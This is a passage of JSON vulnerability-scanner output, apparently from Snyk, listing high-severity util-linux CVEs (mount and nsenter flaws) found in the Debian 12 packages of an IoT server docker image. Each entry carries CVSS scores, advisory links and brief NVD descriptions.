"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/bsdutils@1:2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/bsdutils",
"version": "1:2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/bsdutils@1:2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/bsdutils",
"version": "1:2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/bsdutils@1:2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/bsdutils",
"version": "1:2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- 